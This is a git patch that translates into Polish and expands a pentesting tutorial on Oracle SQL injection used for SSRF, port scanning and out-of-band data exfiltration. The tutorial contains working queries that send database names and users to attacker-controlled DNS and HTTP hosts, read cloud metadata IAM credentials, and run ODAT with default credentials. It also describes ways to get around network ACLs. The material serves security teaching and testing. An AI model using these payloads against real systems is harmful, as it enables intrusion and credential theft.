From 2ca623ee3eeb6d28996cb24f6b6f159c7a22c88a Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 20 Aug 2025 00:44:59 +0000 Subject: [PATCH] Translated ['src/pentesting-web/sql-injection/oracle-injection.md'] to p --- .../sql-injection/oracle-injection.md | 101 ++++++++++++++++-- 1 file changed, 92 insertions(+), 9 deletions(-) diff --git a/src/pentesting-web/sql-injection/oracle-injection.md b/src/pentesting-web/sql-injection/oracle-injection.md index 04b7fe6b2..327058d52 100644 --- a/src/pentesting-web/sql-injection/oracle-injection.md +++ b/src/pentesting-web/sql-injection/oracle-injection.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -**Zaserwuj ten post kopię z wayback machine usuniętego posta z [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**. +**Zaserwuj ten post kopię z Wayback Machine usuniętego posta z [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**. ## SSRF @@ -14,9 +14,9 @@ Uruchomiłem polecenie docker z flagą `--network="host"`, aby móc naśladować ``` docker run -d --network="host" quay.io/maksymbilenko/oracle-12c ``` -#### Pakiety Oracle, które wspierają specyfikację URL lub nazwy hosta/numeru portu +#### Pakiety Oracle, które obsługują specyfikację URL lub nazwy hosta/numeru portu -Aby znaleźć jakiekolwiek pakiety i funkcje, które wspierają specyfikację hosta i portu, przeprowadziłem wyszukiwanie w Google na [Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html). Konkretne, +Aby znaleźć jakiekolwiek pakiety i funkcje, które obsługują specyfikację hosta i portu, przeprowadziłem wyszukiwanie w Google na [Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html). Konkretne, ``` site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum" ``` @@ -49,7 +49,7 @@ Funkcja ta była wcześniej dokumentowana, aby pokazać eksfiltrację danych prz ``` SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual; ``` -Jednakże, biorąc pod uwagę, że funkcja akceptuje nazwę hosta i numer portu jako argumenty, możesz to wykorzystać, aby działać jak skaner portów. +Jednakże, biorąc pod uwagę, że funkcja akceptuje nazwę hosta i numer portu jako argumenty, możesz to wykorzystać, aby działało jak skaner portów. Oto kilka przykładów ``` @@ -62,7 +62,7 @@ SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual; **UTL_SMTP** -Pakiet `UTL_SMTP` jest zaprojektowany do wysyłania e-maili przez SMTP. Przykład podany na [stronie dokumentacji Oracle pokazuje, jak można użyć tego pakietu do wysłania e-maila](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). Dla nas jednak interesujące jest to, że można podać specyfikację hosta i portu. +Pakiet `UTL_SMTP` jest zaprojektowany do wysyłania e-maili przez SMTP. Przykład podany na [stronie dokumentacji Oracle pokazuje, jak można użyć tego pakietu do wysłania e-maila](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). Dla nas jednak interesującą rzeczą jest możliwość podania specyfikacji hosta i portu. Poniżej przedstawiono prosty przykład z funkcją `UTL_SMTP.OPEN_CONNECTION`, z limitem czasu wynoszącym 2 sekundy. ``` @@ -124,11 +124,11 @@ END; utl_tcp.close_connection(c); END; ``` -Interesująco, z powodu możliwości tworzenia surowych żądań TCP, ten pakiet może być również używany do zapytań do usługi metadanych instancji wszystkich dostawców chmury, ponieważ typ metody i dodatkowe nagłówki mogą być przekazywane w ramach żądania TCP. +Interesująco, dzięki możliwości tworzenia surowych żądań TCP, ten pakiet może być również używany do zapytań do usługi metadanych instancji wszystkich dostawców chmury, ponieważ typ metody i dodatkowe nagłówki mogą być przekazywane w żądaniu TCP. **UTL_HTTP i żądania sieciowe** -Być może najczęściej stosowaną i szeroko udokumentowaną techniką w każdym poradniku na temat Out of Band Oracle SQL Injection jest pakiet [`UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Pakiet ten jest zdefiniowany w dokumentacji jako - `Pakiet UTL_HTTP wykonuje wywołania protokołu HTTP z SQL i PL/SQL. Możesz go użyć do uzyskania dostępu do danych w Internecie za pośrednictwem HTTP.` +Być może najczęściej stosowaną i szeroko udokumentowaną techniką w każdym poradniku na temat Out of Band Oracle SQL Injection jest pakiet [`UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Pakiet ten jest zdefiniowany w dokumentacji jako - `Pakiet UTL_HTTP wykonuje wywołania protokołu Hypertext Transfer Protocol (HTTP) z SQL i PL/SQL. Możesz go używać do uzyskiwania dostępu do danych w Internecie za pośrednictwem HTTP.` ``` select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual; ``` @@ -138,8 +138,91 @@ select UTL_HTTP.request('http://scanme.nmap.org:22') from dual; select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual; select UTL_HTTP.request('http://scanme.nmap.org:25') from dual; ``` -`ORA-12541: TNS:no listener` lub `TNS:operation timed out` to znak, że port TCP jest zamknięty, podczas gdy `ORA-29263: HTTP protocol error` lub dane to znak, że port jest otwarty. +`ORA-12541: TNS:no listener` lub `TNS:operation timed out` to oznaki, że port TCP jest zamknięty, podczas gdy `ORA-29263: HTTP protocol error` lub dane są oznaką, że port jest otwarty. -Innym pakietem, którego używałem w przeszłości z różnym powodzeniem, jest [`GETCLOB()` metoda typu abstrakcyjnego `HTTPURITYPE` Oracle](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705), która pozwala na interakcję z URL i zapewnia wsparcie dla protokołu HTTP. Metoda `GETCLOB()` jest używana do pobierania odpowiedzi GET z URL jako [typ danych CLOB.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual; +Innym pakietem, którego używałem w przeszłości z różnym powodzeniem, jest [`GETCLOB()` metoda typu abstrakcyjnego `HTTPURITYPE` Oracle](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705), która pozwala na interakcję z URL i zapewnia wsparcie dla protokołu HTTP. Metoda `GETCLOB()` jest używana do pobierania odpowiedzi GET z URL jako [typ danych CLOB.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html) +``` +SELECT HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() FROM dual; +``` +--- + +## Dodatkowe pakiety i techniki (Oracle 19c → 23c) + +### UTL_INADDR – eksfiltracja oparta na DNS i odkrywanie hostów + +`UTL_INADDR` udostępnia proste pomocnicze funkcje rozwiązywania nazw, które wywołują wychodzące zapytanie DNS z hosta bazy danych. Ponieważ wymagany jest tylko domena (nie potrzebny port/ACL), jest to niezawodny element do ślepej eksfiltracji, gdy inne połączenia sieciowe są zablokowane. +```sql +-- Leak the DB name and current user via a DNS query handled by Burp Collaborator +SELECT UTL_INADDR.get_host_address( +(SELECT name FROM v$database)||'.'||(SELECT user FROM dual)|| +'.attacker.oob.server') FROM dual; +``` +`get_host_address()` zwraca rozwiązany adres IP (lub zgłasza `ORA-29257`, jeśli rozwiązanie się nie powiedzie). Atakujący musi tylko obserwować nadchodzące zapytanie DNS na kontrolowanej domenie, aby potwierdzić wykonanie kodu. + +### DBMS_CLOUD.SEND_REQUEST – pełny klient HTTP w Autonomous/23c + +Najnowsze edycje skoncentrowane na chmurze (Autonomous Database, 21c/23c, 23ai) są dostarczane z `DBMS_CLOUD`. Funkcja `SEND_REQUEST` działa jako uniwersalny klient HTTP, który obsługuje niestandardowe czasowniki, nagłówki, TLS i duże ciała, co czyni ją znacznie potężniejszą niż klasyczny `UTL_HTTP`. +```sql +-- Assuming the current user has CREATE CREDENTIAL and network ACL privileges +BEGIN +-- empty credential when no auth is required +DBMS_CLOUD.create_credential( +credential_name => 'NOAUTH', +username => 'ignored', +password => 'ignored'); +END; +/ + +DECLARE +resp DBMS_CLOUD_TYPES.resp; +BEGIN +resp := DBMS_CLOUD.send_request( +credential_name => 'NOAUTH', +uri => 'http://169.254.169.254/latest/meta-data/', +method => 'GET', +timeout => 3); +dbms_output.put_line(DBMS_CLOUD.get_response_text(resp)); +END; +/ +``` +Ponieważ `SEND_REQUEST` pozwala na dowolne docelowe URI, może być nadużywane za pomocą SQLi do: +1. Wewnętrznego skanowania portów / SSRF do usług metadanych w chmurze. +2. Ekstrakcji poza pasmem przez HTTPS (użyj Burp Collaborator lub tunelu `ngrok`). +3. Wywołań do serwerów atakujących, nawet gdy starsze pakiety wywołania są wyłączone przez ACL. + +ℹ️ Jeśli masz tylko klasyczną wersję on-prem 19c, ale możesz tworzyć procedury składowane w Javie, czasami możesz zainstalować `DBMS_CLOUD` z pakietu klienta OCI — przydatne w niektórych zleceniach. + +### Automatyzacja powierzchni ataku z **ODAT** + +[ODAT – Oracle Database Attacking Tool](https://github.com/quentinhardy/odat) nadąża za nowoczesnymi wydaniami (testowane do 19c, 5.1.1 – kwi-2022). Moduły `–utl_http`, `–utl_tcp`, `–httpuritype` i nowszy `–dbms_cloud` automatycznie: +* Wykrywają użyteczne pakiety wywołania/granty ACL. +* Wyzwalają wywołania DNS i HTTP dla ślepej ekstrakcji. +* Generują gotowe do skopiowania ładunki SQL dla Burp/SQLMap. + +Przykład: szybkie sprawdzenie OOB z domyślnymi poświadczeniami (zajmuje się enumeracją ACL w tle): +```bash +odat all -s 10.10.10.5 -p 1521 -d XE -U SCOTT -P tiger --modules oob +``` +### Ostatnie ograniczenia i obejścia ACL sieciowych + +Oracle zaostrzył domyślne ACL sieciowe w CPU z lipca 2023 — konta bez uprawnień otrzymują teraz `ORA-24247: network access denied by access control list` domyślnie. Dwa wzorce nadal pozwalają na wywołania przez SQLi: +1. Docelowe konto posiada wpis ACL (`DBMS_NETWORK_ACL_ADMIN.create_acl`), który został dodany przez dewelopera dla integracji. +2. Atakujący nadużywa rutyny z wysokimi uprawnieniami PL/SQL z prawami definicji (np. w aplikacji niestandardowej), która *już* ma `AUTHID DEFINER` i niezbędne uprawnienia. + +Jeśli napotkasz `ORA-24247` podczas eksploatacji, zawsze szukaj procedur do ponownego użycia: +```sql +SELECT owner, object_name +FROM dba_objects +WHERE object_type = 'PROCEDURE' +AND authid = 'DEFINER'; +``` +(w wielu audytach przynajmniej jedna procedura raportowania/eksportu miała potrzebne uprawnienia). + +--- + +## References + +* Oracle Docs – `DBMS_CLOUD.SEND_REQUEST` package description and examples. +* quentinhardy/odat – Oracle Database Attacking Tool (latest release 5.1.1, Apr-2022). {{#include ../../banners/hacktricks-training.md}}